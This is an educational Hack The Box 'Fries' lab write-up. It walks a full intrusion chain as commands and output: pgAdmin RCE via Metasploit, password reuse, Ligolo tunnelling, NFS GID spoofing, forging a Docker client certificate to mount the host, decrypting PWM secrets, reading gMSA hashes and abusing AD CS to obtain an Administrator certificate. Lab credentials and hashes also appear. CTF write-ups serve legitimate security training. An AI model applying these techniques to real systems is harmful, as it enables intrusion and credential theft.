Skip to content

HTB Fries writeup

A technical writeup for educational purposes, covering only an authorized, isolated Hack The Box lab.

From outside, Fries appeared to expose nginx on Ubuntu and Windows DC services through the same IP. The initial credentials did not work for AD, only Gitea and pgAdmin. I recovered PostgreSQL credentials from Gitea history and used pgAdmin 9.1 authenticated RCE to enter the pgAdmin container. Its environment variables contained a password for svc that also worked over SSH. I moved to the Ubuntu host and reached the internal network through Ligolo.

Inside the network, I obtained the Docker TLS CA private key over NFS and created a client certificate with CN=root to match the Docker authorization plugin policy. I mounted the host through the Docker API and gained root on Ubuntu, then decrypted the LDAP proxy password for svc_infra from a PWM configuration file.

On the AD side, svc_infra could read the gMSA password for gMSA_CA_prod$. Since gMSA_CA_prod$ had ManageCa over the CA, I enabled EDITF_ATTRIBUTESUBJECTALTNAME2 through an AD CS configuration change. Ordinary Kerberos PKINIT failed with a SID mismatch, but using the same PFX with LDAPS Schannel ldap-shell allowed an LDAP bind as FRIES\Administrator. I then added gMSA_CA_prod$ to Administrators, logged in again through WinRM, and obtained the root flag from the Administrator desktop.

ItemValue
BoxFries
PlatformHack The Box
OSWindows / Ubuntu / Docker
DifficultyHard
nmap: AD services, nginx, SSH, PWM certificate names
|
| Initial credential works in Gitea and pgAdmin, not AD/SSH/WinRM
v
Gitea history -> db-mgmt05.fries.htb + PostgreSQL credential
|
| pgAdmin 9.1 authenticated RCE (CVE-2025-2945)
v
pgAdmin container -> svc password -> SSH to Ubuntu host
|
| Ligolo route to 192.168.100.0/24 and Docker bridges
v
NFS export -> Docker TLS CA private key
|
| Authorization policy permits client certificate with CN=root
v
Docker API -> mount host / -> Ubuntu root
|
| Decrypt LDAP proxy password from PWM configuration
v
svc_infra -> read gMSA password -> gMSA_CA_prod$ NTLM hash
|
| ManageCa enables EDITF_ATTRIBUTESUBJECTALTNAME2 (ESC6)
v
User template -> administrator@fries.htb PFX
|
| PKINIT fails on SID mismatch; LDAPS Schannel ldap-shell succeeds
v
FRIES\\Administrator LDAP bind
|
| Add gMSA_CA_prod$ to Administrators; reconnect with WinRM
v
Administrator desktop / root flag
ItemValue
Domainfries.htb
DCDC01.fries.htb / 192.168.100.1
Web Host192.168.100.2
Docker Bridge172.18.0.1, 172.17.0.1
Initial Credentiald.cooper@fries.htb:D4LE11maan!!

Add at least the following entries to /etc/hosts.

10.129.244.72 fries.htb dc01.fries.htb pwm.fries.htb code.fries.htb db-mgmt05.fries.htb

After reaching the internal network through Ligolo, I could address the DC directly as 192.168.100.1.

I first checked all ports.

Terminal window
nmap -sS -A -p- --min-rate 10000 10.129.244.72 -oN fries.nmap

The important results are shown below.

22/tcp open ssh OpenSSH 8.9p1 Ubuntu
53/tcp open domain Simple DNS Plus
80/tcp open http nginx 1.18.0
88/tcp open kerberos-sec Microsoft Windows Kerberos
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: fries.htb)
443/tcp open ssl/http nginx 1.18.0
445/tcp open microsoft-ds?
636/tcp open ssl/ldap
3268/tcp open ldap
3269/tcp open ssl/ldap
5985/tcp open http Microsoft HTTPAPI httpd 2.0
Service Info: Host: DC01
clock-skew: +7h00m00s

The certificate on port 443 revealed pwm.fries.htb.

ssl-cert: Subject: commonName=pwm.fries.htb

This first scan mixed Linux and Windows information on one external IP. Ports 80/443/22 belonged to Ubuntu/nginx/SSH, while 88/389/445/5985 were Windows DC services. I therefore treated the external IP as a route to both Ubuntu and the DC through NAT or a proxy, rather than assuming a single host. The seven-hour clock-skew would matter later for Kerberos and certificate authentication.

The initial credentials failed against AD services, suggesting they were intended for the web applications.

Terminal window
nxc ldap 10.129.244.72 -u d.cooper@fries.htb -p 'D4LE11maan!!'
nxc winrm dc01.fries.htb -u d.cooper@fries.htb -p 'D4LE11maan!!'
nxc ssh dc01.fries.htb -u d.cooper@fries.htb -p 'D4LE11maan!!'
LDAP [-] fries.htb\d.cooper@fries.htb:D4LE11maan!!
WINRM [-] fries.htb\d.cooper@fries.htb:D4LE11maan!!
SSH [-] d.cooper@fries.htb:D4LE11maan!!

I searched for vhosts.

Terminal window
ffuf -u http://fries.htb \
-H "Host: FUZZ.fries.htb" \
-w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-20000.txt \
-ac
code [Status: 200, Size: 13593, Words: 1048, Lines: 272]

Vhost fuzzing changes only the HTTP Host header for the same IP and port to find virtual hosts. nginx often proxies different applications according to server_name, so a matching Host header can reveal an application even if its name is absent from DNS. Here, code.fries.htb led to Gitea.

http://code.fries.htb/ was Gitea. The initial credentials worked for login and HTTP clone. The web login name was d.cooper@fries.htb, but I used dale to clone the repository.

Terminal window
git clone http://code.fries.htb/dale/fries.htb.git

The diff revealed db-mgmt05.fries.htb.

Terminal window
cd fries.htb
git diff HEAD~1
The backend database can be managed from `http://db-mgmt05.fries.htb`. (This requires mod v3 access, contact Dylan, Mike or Dale)
The backend database can be managed from `http://db-mgmt05.fries.htb`. (This requires infra access, contact Dylan, Mike or Dale)

.env had been deleted, but remained readable in history.

Terminal window
git log --stat --all -- .env
git show 3e8ca66c0de6388ac663d4c1ea56ad9d309fda3b^:.env
DATABASE_URL=postgresql://root:PsqLR00tpaSS11@172.18.0.3:5432/ps_db
SECRET_KEY=y0st528wn1idjk3b9a

Git retains objects from past commits even after a file is deleted. Although .env was absent from the current tree, its contents could be recovered by referencing the parent of the deletion commit. Outside a CTF as well, a secret once committed should be treated as exposed until it is removed from history.

Adding db-mgmt05.fries.htb to hosts made pgAdmin reachable, and the initial credentials worked there.

pgAdmin 4
Version 9.1
Current User d.cooper@fries.htb

pgAdmin 9.1 was affected by CVE-2025-2945. I used a Metasploit module.

msfconsole
search CVE-2025-2945
use exploit/multi/http/pgadmin_query_tool_authenticated
run verbose=true \
db_name=ps_db \
db_pass=PsqLR00tpaSS11 \
db_user=root \
password=D4LE11maan!! \
rhosts=10.129.244.72 \
username=d.cooper@fries.htb \
vhost=db-mgmt05.fries.htb \
lhost=<tun0-ip> \
lport=4444
[+] The target appears to be vulnerable. pgAdmin version 9.1.0 is affected
[+] Successfully authenticated to pgAdmin
[*] Meterpreter session 1 opened

The exploit required a pgAdmin login and access to a registered database. The PostgreSQL DB_NAME, DB_USER, and DB_PASS recovered from Gitea were needed here. The resulting shell had the permissions of the container running pgAdmin, not of the Ubuntu host or DC. From then on, I distinguished whether each secret belonged to the host, container, or AD.

I inspected the container.

meterpreter > sysinfo
meterpreter > getuid
meterpreter > run post/linux/gather/checkcontainer
meterpreter > shell
id
env
Computer : cb46692a4590
Server username: pgadmin
[+] This appears to be a 'Docker' container
uid=5050(pgadmin) gid=0(root) groups=0(root)
PGADMIN_DEFAULT_PASSWORD=Friesf00Ds2025!!
PGADMIN_DEFAULT_EMAIL=admin@fries.htb

Docker application startup passwords and endpoints can remain in environment variables. PGADMIN_DEFAULT_PASSWORD was for the initial pgAdmin administrator, but was also reused by the Linux local user svc here. A container secret will not necessarily work on the host or another service, so I tested reuse across SMB, LDAP, SSH, and other protocols.

I derived candidate users from the PWM error message, web page, and Gitea.

Terminal window
cat > users.txt <<'EOF'
admin
svc_infra
svc
administrator
dale
d.cooper
e.thompson
d.rodriguez
s.chen
EOF

I tried the password from pgAdmin’s environment. SMB failed, but SSH accepted it for svc.

Terminal window
netexec smb fries.htb -u users.txt -p 'Friesf00Ds2025!!'
netexec ssh fries.htb -u users.txt -p 'Friesf00Ds2025!!' --continue-on-success
SMB [-] fries.htb\svc:Friesf00Ds2025!! STATUS_LOGON_FAILURE
SSH [+] svc:Friesf00Ds2025!! Linux - Shell access!

I entered the Ubuntu host over SSH.

Terminal window
ssh svc@fries.htb
Terminal window
id
ss -ant
ip addr show
uid=1000(svc) gid=1000(svc) groups=1000(svc)
IPv4 address for eth0: 192.168.100.2
127.0.0.1:2376 LISTEN
127.0.0.1:3000 LISTEN
127.0.0.1:5050 LISTEN
127.0.0.1:5000 LISTEN
0.0.0.0:2049 LISTEN
0.0.0.0:8443 LISTEN

The nginx configuration showed that each vhost proxied to a local service.

Terminal window
cat /etc/nginx/sites-enabled/*
fries.htb -> http://127.0.0.1:5000
db-mgmt05.fries.htb -> http://127.0.0.1:5050
code.fries.htb -> http://127.0.0.1:3000
pwm.fries.htb -> https://127.0.0.1:8443

The output from ss and the nginx configuration showed that many externally published HTTP services were confined to localhost or Docker bridges on the Ubuntu host. SSH access to Ubuntu made the 127.0.0.1:2376 Docker API and the internal 192.168.100.0/24 network possible next targets, although they were not directly reachable from outside.

I used Ligolo to route into the internal network and created a tun interface on the attacking machine.

Terminal window
sudo ip tuntap add user $(whoami) mode tun ligolo
sudo ip link set ligolo up
sudo ./proxy -selfcert -laddr 0.0.0.0:11601

Ligolo-ng establishes an outbound connection from an agent on the target to a proxy on the attacking machine, then creates an L3 tunnel over it. Adding routes to the ligolo tun interface on the attacking machine lets ordinary nmap, netexec, and certipy commands target internal IPs directly. I ran the proxy with sudo here because it managed the tun interface and route.

I placed the agent on the target and connected it.

Terminal window
chmod +x /tmp/agent
/tmp/agent -connect <tun0-ip>:11601 -ignore-cert

I added the route in the Ligolo console.

session
autoroute
route_add --name <ligolo-interface> --route 240.0.0.1/32

240.0.0.1/32 is a Ligolo magic IP used to reach the target’s 127.0.0.1. The Docker API listened on the Ubuntu host’s 127.0.0.1:2376, so this mattered for reaching a localhost-only service from outside.

I checked connectivity.

Terminal window
ping 192.168.100.1
ping 172.18.0.1
ping 172.17.0.1

I checked the internal DC.

Terminal window
nmap -sS -A -p- --min-rate 10000 192.168.100.1 -oN dc01.nmap
53/tcp open domain Simple DNS Plus
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP
Service Info: Host: DC01; OS: Windows

I checked the Docker bridges as well.

Terminal window
nmap -sS -A -p- --min-rate 10000 172.18.0.1 -oN docker.nmap
22/tcp open ssh
80/tcp open http nginx
111/tcp open rpcbind
2049/tcp open nfs_acl
3000/tcp open http Gitea
8443/tcp open ssl/http Apache Tomcat / PWM

I examined the NFS export.

Terminal window
showmount -e 192.168.100.2
sudo mkdir -p /mnt/fries
sudo mount -t nfs -o vers=3,nolock 192.168.100.2:/srv/web.fries.htb /mnt/fries
ls -la /mnt/fries
Export list for 192.168.100.2:
/srv/web.fries.htb *
drwxrwx--- 2 root 59605603 4096 certs
drwxrwxrwx 2 root root 4096 shared
drwxr----- 5 svc svc 4096 webroot

NFS evaluates file permissions using numeric UIDs and GIDs. A directory shown as root:59605603 on the server may be readable to a client in a group with the same GID. This is an NFS export and UNIX permissions issue, separate from Kerberos or LDAP authentication.

Only the group with GID 59605603 could read certs. SSSD on the target resolved it to infra managers.

Terminal window
getent group 59605603
id d.cooper
id m.hannigan
id d.wilson
infra managers:*:59605603:d.cooper,m.hannigan,d.wilson
uid=59602614(d.cooper) groups=59600513(domain users),59605603(infra managers)

Creating a group with the same GID on the attacking machine made certs readable over NFS.

Terminal window
mkdir certs
sudo groupadd -g 59605603 infra_managers
sudo usermod -aG infra_managers <attacker_user>
sudo bash -c 'sg infra_managers -c "cp /mnt/fries/certs/* ./certs/"'
ls certs
ca-key.pem ca.pem server-cert.pem server.csr server-key.pem server-openssl.cnf

The obtained ca-key.pem was the private key of a CA trusted by the Docker daemon. Docker TLS verification checked whether the client presented a certificate signed by this CA. The CA private key therefore allowed creation of client certificates with arbitrary Common Names. In this environment, however, an authorization plugin made an additional decision after TLS authentication.

The Docker daemon required a TLS client certificate.

Terminal window
ps auxww | grep dockerd
/usr/bin/dockerd ... --authorization-plugin=authz-broker --tlsverify \
--tlscacert=/etc/docker/certs/ca.pem \
--tlscert=/etc/docker/certs/server-cert.pem \
--tlskey=/etc/docker/certs/server-key.pem \
-H=127.0.0.1:2376

It rejected requests without one.

Terminal window
openssl s_client -connect 240.0.0.1:2376
Acceptable client certificate CA names
CN=DockerCA
tlsv13 alert certificate required

A certificate with an arbitrary CN passed Docker TLS authentication, but the authorization plugin denied it.

Terminal window
openssl genrsa -out client-key.pem 2048
openssl req -new -key client-key.pem -out client.csr
openssl x509 -req \
-in client.csr \
-CA ca.pem \
-CAkey ca-key.pem \
-CAcreateserial \
-out client-cert.pem

I first set the CSR Common Name to pwn.com.

Terminal window
alias DOCKER="docker \
--tlsverify \
--tlscacert=ca.pem \
--tlscert=client-cert.pem \
--tlskey=client-key.pem \
-H tcp://127.0.0.1:2376"
DOCKER version
Error response from daemon: authorization denied by plugin authz-broker:
no policy applied (user: 'pwn.com' action: 'docker_version')

Docker daemon authentication and authorization were separate. mTLS proved possession of a certificate signed by DockerCA; the authorization plugin treated the certificate subject’s CN as a user and permitted only Docker actions allowed for that user. CN=pwn.com authenticated, but was denied because it did not appear in the policy.

I read the authz-broker policy.

Terminal window
find / -iname '*authz*' -o -iname '*broker*' 2>/dev/null
ls /var/lib/authz-broker
cat /var/lib/authz-broker/policy.json
/var/lib/authz-broker
policy.json
{"name":"policy_1", "users": ["svc"], "actions": ["container_list", "container_logs"]}
{"name":"policy_1", "users": ["sysadm"], "actions": ["container"], "readonly":true}
{"name":"policy_2", "users": ["root"], "actions": [""]}

The Docker authorization plugin used the client certificate CN as the user. I recreated the certificate with CN=root.

Terminal window
openssl req -new -key client-key.pem -out client.csr
openssl x509 -req \
-in client.csr \
-CA ca.pem \
-CAkey ca-key.pem \
-CAcreateserial \
-out client-cert.pem

I set the CSR Common Name to root, which allowed use of the Docker API.

Terminal window
DOCKER version
DOCKER container ls
Server:
Engine:
Version: 28.2.2
CONTAINER ID IMAGE NAMES
f427ecaa3bdd pwm/pwm-webapp:latest pwm
cb46692a4590 dpage/pgadmin4:9.1.0 pgadmin4
bfe752a26695 fries-web web
858fdf51af59 postgres:16 postgres
b916aad508e2 gitea/gitea:1.22.6 gitea

I mounted the host / and read it as root.

Terminal window
DOCKER run --rm -it -v /:/global fries-web:latest bash
cd /global
ls root
cat root/user.txt
scripts snap user.txt
[REDACTED]

After obtaining the user flag, I searched across containers through the Docker API for artifacts. The goal was to find a bind account, database connection details, application settings, and plaintext or decryptable secrets useful for the next AD step.

I first inspected container configurations, environment variables, mounts, and networks.

Terminal window
DOCKER inspect pwm pgadmin4 web postgres gitea
DOCKER exec -it <container> env
DOCKER exec -it <container> sh

Inside the containers, I searched broadly for configuration files, environment files, databases, and JSON/YAML.

Terminal window
find / -iname '*config*' -o -iname '*.env' -o -iname '*secret*' -o -iname '*password*' 2>/dev/null
find / -name '*.db' -o -name '*.sqlite' -o -name '*.json' -o -name '*.yml' 2>/dev/null

The likely targets were:

gitea /data/gitea/conf/app.ini, /data/git, DB connection details
pgadmin /var/lib/pgadmin, pgadmin4.db, servers.json
pwm /config, PwmConfiguration.xml, LDAP bind information
web /app, .env, config.py, DB connection details
postgres DB names, users, tables, and dumps

I also extracted and reviewed Gitea’s app.ini, but PWM’s LDAP proxy configuration was what ultimately led to the AD side.

Terminal window
DOCKER cp gitea:/data/gitea/conf/app.ini ./
DOCKER cp pwm:/config/PwmConfiguration.xml ./

The following focuses on the important values in the extracted PwmConfiguration.xml.

<property key="configPasswordHash">$2y$04$W1TubX/9JAqpHlxx7xqXpesUMB2bJMV4dH/8pXbcul0NgA6ZexGyG</property>
<setting key="ldap.proxy.username" syntax="STRING">
<value>CN=svc_infra,CN=Users,DC=fries,DC=htb</value>
</setting>
<setting key="ldap.proxy.password" syntax="PASSWORD">
<value>ENC-PW:oF4OfldGCHrbhPuevlVNUl2wkgUFlqTwZtjoks/G2peQhAo1lKDFaQxK7bZB67s4ZWjp9XSJ+eB0lEG8bLpd45hP8XAfY8abvgQJm3ztQ0c=</value>
</setting>
<setting key="ldap.serverUrls" syntax="STRING_ARRAY">
<value>ldaps://dc01.fries.htb:636</value>
</setting>

The configuration password hash used bcrypt.

Terminal window
hashcat -m 3200 -a 0 \
'$2y$04$W1TubX/9JAqpHlxx7xqXpesUMB2bJMV4dH/8pXbcul0NgA6ZexGyG' \
/usr/share/wordlists/rockyou.txt
$2y$04$W1TubX/9JAqpHlxx7xqXpesUMB2bJMV4dH/8pXbcul0NgA6ZexGyG:rockon!
Status...........: Cracked

rockon! worked for the Configuration Manager at https://pwm.fries.htb, but LDAP was not functioning because of a certificate trust store mismatch.

Unable to bind to ldaps://dc01.fries.htb:636 as CN=svc_infra,CN=Users,DC=fries,DC=htb
server certificate does not match a certificate in the PWM configuration trust store

PWM’s ENC-PW: values can be decrypted by hashing createTime + "StoredConfiguration" with SHA1, taking the first 16 bytes as an AES key, and using AES/ECB/PKCS5Padding. The modifyTime for ldap.proxy.password was 2025-06-01T02:07:43Z.

This is minimal Java code for reproduction.

import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import java.nio.charset.StandardCharsets;
import java.security.MessageDigest;
import java.util.Arrays;
import java.util.Base64;
public final class PwmEncPwDecrypt {
public static void main(String[] args) throws Exception {
String createTime = "2025-06-01T02:07:43Z";
String enc = "ENC-PW:oF4OfldGCHrbhPuevlVNUl2wkgUFlqTwZtjoks/G2peQhAo1lKDFaQxK7bZB67s4ZWjp9XSJ+eB0lEG8bLpd45hP8XAfY8abvgQJm3ztQ0c=";
String payload = enc.substring("ENC-PW:".length());
byte[] ciphertext = Base64.getDecoder().decode(payload);
byte[] material = (createTime + "StoredConfiguration").getBytes(StandardCharsets.ISO_8859_1);
byte[] sha1 = MessageDigest.getInstance("SHA-1").digest(material);
byte[] key = Arrays.copyOfRange(sha1, 0, 16);
Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding");
cipher.init(Cipher.DECRYPT_MODE, new SecretKeySpec(key, "AES"));
String json = new String(cipher.doFinal(ciphertext), StandardCharsets.UTF_8);
System.out.println(json);
}
}
Terminal window
javac PwmEncPwDecrypt.java
java PwmEncPwDecrypt
{"salt":"v4DuLvUwLbqLOMq21Kgh1DD3LoMvvQqz","value":"m6tneOMAh5p0wQ0d"}

I obtained AD credentials for svc_infra.

svc_infra:m6tneOMAh5p0wQ0d

I verified them.

Terminal window
cat > password.txt <<'EOF'
D4LE11maan!
PsqLR00tpaSS11
Friesf00Ds2025!!
rockon!
m6tneOMAh5p0wQ0d
EOF
netexec ldap dc01.fries.htb \
-u users.txt \
-p password.txt \
-d fries.htb \
--continue-on-success
LDAP [+] fries.htb\svc_infra:m6tneOMAh5p0wQ0d

With LDAP authentication working as svc_infra, I moved to enumeration on the Windows side. I looked for local and domain groups relevant to logon, computer accounts, certificate service rights, and the SID later needed for certificate authentication.

I first checked groups and computers over LDAP.

Terminal window
netexec ldap dc01.fries.htb \
-d fries.htb \
-u svc_infra \
-p 'm6tneOMAh5p0wQ0d' \
--groups --computers
Remote Management Users 13
Service Account Managers 10
Infra Managers 3
DC01$
gMSA_CA_prod$
WEB$

The many members of Remote Management Users suggested possible WinRM access. Infra Managers corresponded to Linux GID 59605603 from the NFS step, supporting that SSSD resolved the AD group on Ubuntu. The computer list also included gMSA_CA_prod$ alongside DC01$ and WEB$. Its name suggested a gMSA for CA administration, making it a priority for later BloodHound review.

Next, I checked shares, users, and RIDs over SMB.

Terminal window
netexec smb dc01.fries.htb \
-d fries.htb \
-u svc_infra \
-p 'm6tneOMAh5p0wQ0d' \
--shares --users --rid-brute
Share Permissions
IPC$ READ
NETLOGON READ
SYSVOL READ
500: FRIES\Administrator
1104: FRIES\gMSA_CA_prod$
3601: FRIES\svc_infra

NETLOGON and SYSVOL were readable, but yielded no secrets directly. The RID brute-force results mattered later: Administrator was RID 500 and svc_infra was RID 3601. The Security Extension SID in the certificate issued after ESC6 ended in ...-3601, showing that the certificate was strongly bound to requester svc_infra, not Administrator.

Fragments of group and SID information could obscure the attack path, so I collected BloodHound data.

Terminal window
rusthound-ce -d fries.htb \
-u svc_infra \
-p 'm6tneOMAh5p0wQ0d' \
-c All \
--zip

The important discovery was as follows.

svc_infra -> gMSA_CA_prod$ : ReadGMSAPassword
svc_infra -> Authenticated Users -> fries-DC01-CA : Enroll

This connected the path to the Windows side. ReadGMSAPassword permits reading the target gMSA’s managed password BLOB. NetExec could interpret it and output an NTLM hash, enabling pass-the-hash as gMSA_CA_prod$ without knowing its plaintext password. svc_infra could also enroll with the CA as an Authenticated Users member, satisfying a prerequisite for AD CS enumeration and certificate requests.

I read the gMSA password.

Terminal window
netexec ldap dc01.fries.htb \
-d fries.htb \
-u svc_infra \
-p 'm6tneOMAh5p0wQ0d' \
--gmsa
Account: gMSA_CA_prod$
NTLM: 5710cd97225e920cdc6badc919fc8c51
PrincipalsAllowedToReadPassword: svc_infra

This hash was the main artifact for trying CA operations and WinRM login as gMSA_CA_prod$. In particular, the name gMSA_CA_prod$ and the later Certipy output indicated CA administration rights, so this hash was the entry point to the AD CS attack.

I checked MachineAccountQuota as well.

Terminal window
netexec ldap dc01.fries.htb \
-d fries.htb \
-u svc_infra \
-p 'm6tneOMAh5p0wQ0d' \
-M maq
MachineAccountQuota: 0

With MAQ at 0, an ordinary user could not create a new computer account to use the Domain Computers Enroll permission. I therefore focused on the existing rights of svc_infra and gMSA_CA_prod$ rather than the Machine template.

In AD CS, I considered CA rights separately from template Enroll permissions. ManageCa or ManageCertificates on a CA is powerful, but does not alone permit enrollment in any template. Conversely, an enrollable template does not enable Administrator impersonation unless SAN or SID values can be controlled.

I enumerated the CA and templates as svc_infra.

Terminal window
certipy-ad find \
-u 'svc_infra@fries.htb' \
-p 'm6tneOMAh5p0wQ0d' \
-dc-ip 192.168.100.1 \
-target 192.168.100.1 \
-ns 192.168.100.1 \
-stdout

The important CA output follows.

CA Name : fries-DC01-CA
DNS Name : DC01.fries.htb
User Specified SAN : Disabled
Request Disposition : Issue
Enforce Encryption for Requests : Enabled
Access Rights
ManageCa : FRIES.HTB\gMSA_CA_prod
FRIES.HTB\Domain Admins
FRIES.HTB\Enterprise Admins
FRIES.HTB\Administrators
Enroll : FRIES.HTB\gMSA_CA_prod
FRIES.HTB\Domain Users
FRIES.HTB\Domain Computers
FRIES.HTB\Authenticated Users

This output showed that gMSA_CA_prod$ held ManageCa over the CA and that authenticated users, including svc_infra, could Enroll with the CA. However, User Specified SAN : Disabled meant that request attributes could not yet inject a SAN as in ESC6. Whether I could change this became the next decision point.

The -vulnerable view as svc_infra found no vulnerable template.

Terminal window
certipy-ad find \
-u 'svc_infra@fries.htb' \
-p 'm6tneOMAh5p0wQ0d' \
-dc-ip 192.168.100.1 \
-target 192.168.100.1 \
-ns 192.168.100.1 \
-vulnerable \
-stdout
[!] Vulnerabilities
ESC7 : User has dangerous permissions.
Certificate Templates : [!] Could not find any certificate templates

gMSA_CA_prod$ was reported as ESC7 because it held ManageCa over the CA.

Terminal window
certipy-ad find \
-u 'gMSA_CA_prod$@fries.htb' \
-hashes ':5710cd97225e920cdc6badc919fc8c51' \
-dc-ip 192.168.100.1 \
-target 192.168.100.1 \
-ns 192.168.100.1 \
-vulnerable \
-stdout
[+] User ACL Principals : FRIES.HTB\gMSA_CA_prod
[!] Vulnerabilities
ESC7 : User has dangerous permissions.

ESC7 classifies abuse of dangerous rights on the CA object rather than a certificate template. Typical examples include ManageCa and ManageCertificates, which can affect adding officers, enabling templates, and issuing pending or denied requests. CA rights alone do not guarantee every step: the requester’s template Enroll rights, any Deny ACE in the CA ACL, and the right evaluated for issuance all matter.

I tried adding an officer and enabling SubCA according to Certipy’s ESC7 procedure.

Terminal window
certipy-ad ca \
-u 'gMSA_CA_prod$@fries.htb' \
-hashes ':5710cd97225e920cdc6badc919fc8c51' \
-dc-ip 192.168.100.1 \
-target 192.168.100.1 \
-ns 192.168.100.1 \
-ca 'fries-DC01-CA' \
-add-officer 'gMSA_CA_prod$'
certipy-ad ca \
-u 'gMSA_CA_prod$@fries.htb' \
-hashes ':5710cd97225e920cdc6badc919fc8c51' \
-dc-ip 192.168.100.1 \
-target 192.168.100.1 \
-ns 192.168.100.1 \
-ca 'fries-DC01-CA' \
-add-officer 'svc_infra'
certipy-ad ca \
-u 'gMSA_CA_prod$@fries.htb' \
-hashes ':5710cd97225e920cdc6badc919fc8c51' \
-dc-ip 192.168.100.1 \
-target 192.168.100.1 \
-ns 192.168.100.1 \
-ca 'fries-DC01-CA' \
-enable-template 'SubCA'
[*] Successfully added officer 'gMSA_CA_prod$' on 'fries-DC01-CA'
[*] Successfully added officer 'svc_infra' on 'fries-DC01-CA'
[*] Successfully enabled 'SubCA' on 'fries-DC01-CA'

I checked Administrator’s SID.

Terminal window
lookupsid.py 'fries.htb/svc_infra:m6tneOMAh5p0wQ0d@dc01.fries.htb'
Domain SID is: S-1-5-21-858338346-3861030516-3975240472
500: FRIES\Administrator
1104: FRIES\gMSA_CA_prod$
3601: FRIES\svc_infra

I made a request specifying Administrator through SubCA.

Terminal window
certipy-ad req \
-u 'gMSA_CA_prod$@fries.htb' \
-hashes ':5710cd97225e920cdc6badc919fc8c51' \
-dc-ip 192.168.100.1 \
-target 192.168.100.1 \
-ns 192.168.100.1 \
-ca 'fries-DC01-CA' \
-template 'SubCA' \
-upn 'administrator@fries.htb' \
-sid 'S-1-5-21-858338346-3861030516-3975240472-500'
[*] Request ID is 43
[-] CERTSRV_E_TEMPLATE_DENIED - The permissions on the certificate template do not allow the current user to enroll
[*] Saving private key to '43.key'

The usual ESC7 path would issue this denied request with manager or officer rights. That failed here.

Terminal window
certipy-ad ca \
-u 'gMSA_CA_prod$@fries.htb' \
-hashes ':5710cd97225e920cdc6badc919fc8c51' \
-dc-ip 192.168.100.1 \
-target 192.168.100.1 \
-ns 192.168.100.1 \
-ca 'fries-DC01-CA' \
-issue-request 43 \
-debug
[-] Access denied: Insufficient permissions to issue certificate

retrieve also left it denied by the template.

Terminal window
certipy-ad req \
-u 'gMSA_CA_prod$@fries.htb' \
-hashes ':5710cd97225e920cdc6badc919fc8c51' \
-dc-ip 192.168.100.1 \
-target 192.168.100.1 \
-ns 192.168.100.1 \
-ca 'fries-DC01-CA' \
-retrieve 43 \
-debug
[-] Got error while retrieving certificate:
code: 0x80094012 - CERTSRV_E_TEMPLATE_DENIED

I entered WinRM as gMSA_CA_prod$ and checked the CA ACL.

Terminal window
uv run evil-winrm-py \
-i dc01.fries.htb \
-u 'gMSA_CA_prod$' \
-H 5710cd97225e920cdc6badc919fc8c51

The following Get-CertificationAuthority, Get-CertificationAuthorityAcl, Get-PendingRequest, and Approve-CertificateRequest commands are PSPKI cmdlets. Import the module first if it is not loaded in the WinRM session.

Terminal window
Import-Module PSPKI
Get-CertificationAuthority -ComputerName dc01.fries.htb |
Get-CertificationAuthorityAcl |
select -expand Access

The important finding was a mix of Deny and Allow entries.

Rights : ManageCertificates
AccessControlType : Deny
IdentityReference : FRIES\gMSA_CA_prod$
Rights : ManageCA, ManageCertificates, Enroll
AccessControlType : Allow
IdentityReference : FRIES\gMSA_CA_prod$
Rights : ManageCertificates
AccessControlType : Allow
IdentityReference : FRIES\svc_infra

PSPKI’s Approve-CertificateRequest returned without output, but certutil -resubmit was denied.

Terminal window
Import-Module PSPKI
Get-CertificationAuthority -ComputerName dc01.fries.htb |
Get-PendingRequest -RequestID 43 |
Approve-CertificateRequest
certutil -config "DC01.fries.htb\fries-DC01-CA" -resubmit 43
certutil -config "DC01\fries-DC01-CA" -resubmit 43
CertUtil: -resubmit command FAILED: 0x80070005 (WIN32: 5 ERROR_ACCESS_DENIED)
CertUtil: Access is denied.

I therefore treated the ordinary ESC7 SubCA issuance path as a dead end.

ESC6 uses the CA policy flag EDITF_ATTRIBUTESUBJECTALTNAME2 to accept SAN values from certificate request attributes. This is a policy module setting for the whole CA, not just a template setting, so changing it requires restarting certsvc. Even without EnrolleeSuppliesSubject on the User template, the CA can then accept a SAN from request attributes, creating a way to insert a UPN.

Trying to enable EDITF_ATTRIBUTESUBJECTALTNAME2 with certutil -setreg failed because administrator elevation was required.

Terminal window
certutil -setreg policy\EditFlags +EDITF_ATTRIBUTESUBJECTALTNAME2
Administrator permissions are needed to use the selected options.
CertUtil: The requested operation requires elevation.

However, SetConfigEntry worked through the CertificateAuthority.Admin COM object. Calling this COM object was not a PSPKI cmdlet.

Terminal window
$ConfigString = "DC01.fries.htb\fries-DC01-CA"
$Node = "PolicyModules\CertificateAuthority_MicrosoftDefault.Policy"
$EDITF_ATTRIBUTESUBJECTALTNAME2 = 0x00040000
$CertAdmin = New-Object -ComObject CertificateAuthority.Admin
$Flags = $CertAdmin.GetConfigEntry($ConfigString, $Node, "EditFlags")
"{0:X}" -f $Flags
$CertAdmin.SetConfigEntry(
$ConfigString,
$Node,
"EditFlags",
($Flags -bor $EDITF_ATTRIBUTESUBJECTALTNAME2)
)
$NewFlags = $CertAdmin.GetConfigEntry($ConfigString, $Node, "EditFlags")
"{0:X}" -f $NewFlags
Restart-Service certsvc
11014E
15014E

Because clock skew affects Kerberos and certificate authentication, I synchronized the attacking machine with the DC.

Terminal window
sudo systemctl stop systemd-timesyncd
sudo ntpdate dc01.fries.htb
time stepped by 25201.097517

Domain Users could Enroll in the User template, which also had Client Authentication. After changing the ESC6 CA setting, I inserted Administrator’s UPN and SID as request attributes.

I used the User template because svc_infra, as a member of Domain Users, could Enroll and the resulting certificate would have the Client Authentication EKU. A certificate without that EKU is less suitable for AD user authentication. When the template or CA includes szOID_NTDS_CA_SECURITY_EXT, however, it also places the requester’s objectSid in the certificate, affecting subsequent strong certificate mapping.

Terminal window
certipy-ad req \
-u 'svc_infra@fries.htb' \
-p 'm6tneOMAh5p0wQ0d' \
-dc-ip 192.168.100.1 \
-target 192.168.100.1 \
-ns 192.168.100.1 \
-ca 'fries-DC01-CA' \
-template User \
-upn administrator@fries.htb \
-sid 'S-1-5-21-858338346-3861030516-3975240472-500'
[*] Request ID is 45
[*] Successfully requested certificate
[*] Got certificate with UPN 'administrator@fries.htb'
